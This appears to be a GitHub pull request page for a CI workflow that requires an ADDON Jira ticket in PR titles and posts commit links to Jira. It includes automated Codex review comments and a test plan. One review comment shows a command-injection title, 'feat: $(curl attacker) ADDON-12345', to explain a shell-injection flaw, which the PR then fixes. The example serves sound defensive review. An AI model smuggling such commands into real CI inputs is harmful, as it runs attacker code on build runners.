fix: validate ADDON Jira ticket in PR title#511
Conversation
Add a step to the validate-pr-title job that checks for ADDON-XXXXX (5-6 digit number) in the PR title, failing with a clear error message if missing. Co-Authored-By: Claude <noreply@anthropic.com>
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 0d982f008d
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| GITHUB_TOKEN: ${{ github.token }} | ||
| - name: Validate ADDON Jira ticket in PR title | ||
| run: | | ||
| PR_TITLE="${{ github.event.pull_request.title }}" |
There was a problem hiding this comment.
Avoid evaluating PR titles in the shell
In pull_request runs the PR title is user-controlled, and interpolating it directly into the run script lets bash evaluate title contents after GitHub splices the expression in. A semantic title like feat: $(curl attacker) ADDON-12345 becomes PR_TITLE="feat: $(curl attacker) ADDON-12345", so the command substitution executes on the runner before the validation check. Pass the title through env: or another non-evaluated channel instead of embedding it in the script text.
Useful? React with 👍 / 👎.
| - name: Validate ADDON Jira ticket in PR title | ||
| run: | | ||
| PR_TITLE="${{ github.event.pull_request.title }}" | ||
| if [[ ! "$PR_TITLE" =~ ADDON-[0-9]{5,6} ]]; then |
There was a problem hiding this comment.
Bound the Jira ticket regex to reject longer IDs
Because the bash regex is unanchored, titles containing a longer number still pass by matching the first 5 or 6 digits; for example feat: ADDON-1234567 satisfies ADDON-[0-9]{5,6} via the ADDON-123456 prefix. If the gate is meant to require exactly a 5–6 digit ADDON ticket, add a non-digit/end boundary after the number.
Useful? React with 👍 / 👎.
- Pass the PR title through env: instead of interpolating it into the run: script text, so a crafted title can't trigger command substitution on the runner. - Anchor the ticket regex so a longer digit run (e.g. ADDON-1234567) no longer satisfies the check via its 5-6 digit prefix.
Adds a comment-on-jira job that posts a link back to the commit (and originating PR, if found) on any ADDON-XXXXX ticket referenced in a commit pushed to main/develop, giving reporters visibility into when their fix landed. Uses the Jira REST API directly via curl rather than a third-party comment action (atlassian/gajira-comment has a known RCE, CVE-2020-14189). Requires new JIRA_BASE_URL/JIRA_USER_EMAIL/JIRA_API_TOKEN secrets; consuming repos need these added before bumping to the next tag.
addonfactory-docs-on-github-integration and issue-exploder already use ATLASSIAN_EMAIL/ATLASSIAN_TOKEN (or JIRA_LOGIN/JIRA_API_TOKEN) against a hardcoded splunk.atlassian.net rather than a configurable base URL. Match that instead of introducing new JIRA_* secret names.
…a comments Live test against test-addonfactory-repo (push to main, ADDON-88759) showed the PR lookup 403ing (job only had contents:read) and, because gh api's stderr/stdout still populated PR_URL before the `|| true` swallowed the exit code, the raw JSON error body got embedded as the "PR" link href in the posted Jira comment.
Reword the posted comment to "{author} mentioned this issue in a commit
of {repo} on branch {branch}:" followed by the commit/PR links, matching
the phrasing already used by the existing GitLab->Jira integration
(srv-ssc-gitlab) so both integrations read consistently on a ticket.
| if [[ ! "$PR_TITLE" =~ ADDON-[0-9]{5,6} ]]; then | ||
| echo "::error::PR title must contain a Jira ticket in the format ADDON-XXXXX (5-6 digits). Got: $PR_TITLE" | ||
| exit 1 | ||
| fi |
There was a problem hiding this comment.
This check can be bypassed after it passes because the current template caller only runs PR workflows on opened,
reopened, and synchronize, not edited. A PR title can be changed after a green check. The caller workflow
should include pull_request.types: edited if this is intended to enforce the merge-time title.
| GSSA_AWS_SECRET_ACCESS_KEY: | ||
| description: GSSA AWS secret access key | ||
| required: true | ||
| permissions: |
There was a problem hiding this comment.
These new workflow_call secrets are required, but the template caller uses an explicit secrets: map and does
not pass them yet. Existing consumers will fail workflow validation before jobs start unless the caller/template is
updated too, or these secrets are made optional.
Summary
validate-pr-titlejob that enforcesADDON-XXXXX(5–6 digit Jira ticket number) in the PR title, failing with a clear::error::annotation if missing (runs after the existing semantic PR title check).comment-on-jirajob: on push tomain/develop, scans commit messages forADDON-XXXXXreferences and posts a comment on each referenced ticket linking back to the commit (and originating PR, if found), worded to match the existing GitLab→Jira integration convention ({author} mentioned this issue in a commit of {repo} on branch {branch}:).ATLASSIAN_EMAIL/ATLASSIAN_TOKENsecrets (hardcodedhttps://splunk.atlassian.netbase URL), matching the naming convention already used byaddonfactory-docs-on-github-integration; posts via raw Jira REST API v3 + ADF body rather thanatlassian/gajira-comment(which has a known RCE, CVE-2020-14189).::warning::.Test plan
ADDON-XXXXXin the title → job fails with the error messageADDON-12345orADDON-123456in the title → job passessplunk/test-addonfactory-repo(sandbox repo, temporarily pointed at this branch, reverted tov5.4after each round), commenting on real ticket ADDON-88759:pull_requestevent →comment-on-jiracorrectlyskipped(job only fires onpush)main, no originating PR → comment posted with commit link only, no "via PR" clause (run)mainvia squash-merged PR → comment posted with commit link and correct PR link (run, PR #374)contents: read) and leaked the raw error JSON into the comment's linkhref(run, see resulting malformed comment) — fixed by addingpull-requests: readand guarding thegh apifailure path (1c8ba82)🤖 Generated with Claude Code